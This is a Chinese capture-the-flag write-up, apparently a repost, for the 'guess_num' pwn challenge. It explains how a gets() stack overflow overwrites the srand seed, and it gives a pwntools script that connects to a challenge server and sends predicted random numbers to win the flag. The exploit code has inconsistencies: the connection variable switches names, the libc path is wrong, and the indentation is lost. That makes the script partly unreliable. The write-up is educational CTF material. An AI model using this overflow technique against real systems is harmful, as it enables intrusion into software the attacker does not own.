(wp)攻防世界PWN——guess_num
程序员文章站
2022-05-19 10:05:03
...
转载自个人博客0pt1mus
好久没有做PWN题了,今天开始做一下,把之前的东西捡起来,同时对之前有些知识点也有了新的认识,新的理解。
分析
首先将附件下载下来,同时通过nc连接一下,了解一下大致的流程。
可以看到,先让我们输入用户名,然后输入猜的的数字。
然后常规操作,通过file
和checksec
工具判断文件类型和开启了那些防护措施。
可以知道这是一个64位的linux程序,并且开启了部分只读,栈溢出保护,不可执行和地址随机化。
接着我们通过IDA加载,反汇编一下。
IDA加载程序后,ctrl+F5
查看一下伪代码。
我们点击进入sub_C3E()
,发现它会调用系统函数,打印flag,因此我们要保证程序能执行到这一步。
因此,在v4
和v6
比较时我们要保证这两个值相同,其中v4
是我们的输入值,v6
是随机数。我们知道这里的随机数是通过种子seed
来形成的,如果seed
一定,那么生成的随机数也是一定的。
双击seed[0]
,可以发现seed
是在栈帧中的,上面还有var_30
。
查看汇编代码。
在代码中可以找到如下信息:
var_30 = byte ptr -30h
seed = dword ptr -10h
lea rax, [rbp+var_30]
mov rdi, rax
mov eax, 0
call _gets
mov rax, qword ptr [rbp+seed]
mov edi, eax ; seed
call _srand
我们输入的name,存在栈帧中,占20h,下面高地址位紧跟着seed的值。因此我们可以溢出覆盖掉seed,将种子设置为已知值,从而控制生成的随机数。
写出exp:
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary('/bin/x86_64-linux-gnu/libc.so.6')
libc.srand(1)
payload = 'A' * 0x20 + p64(1).decode()
r = remote('111.198.29.45', 57255)
r.recvuntil('name:')
r.sendline(payload)
for i in range(10):
num = str(libc.rand() % 6 + 1)
io.recvuntil('number:')
io.sendline(num)
io.interactive()
其中so文件的路径是通过ldd
工具找到的。
下一篇: 12.4 set和pair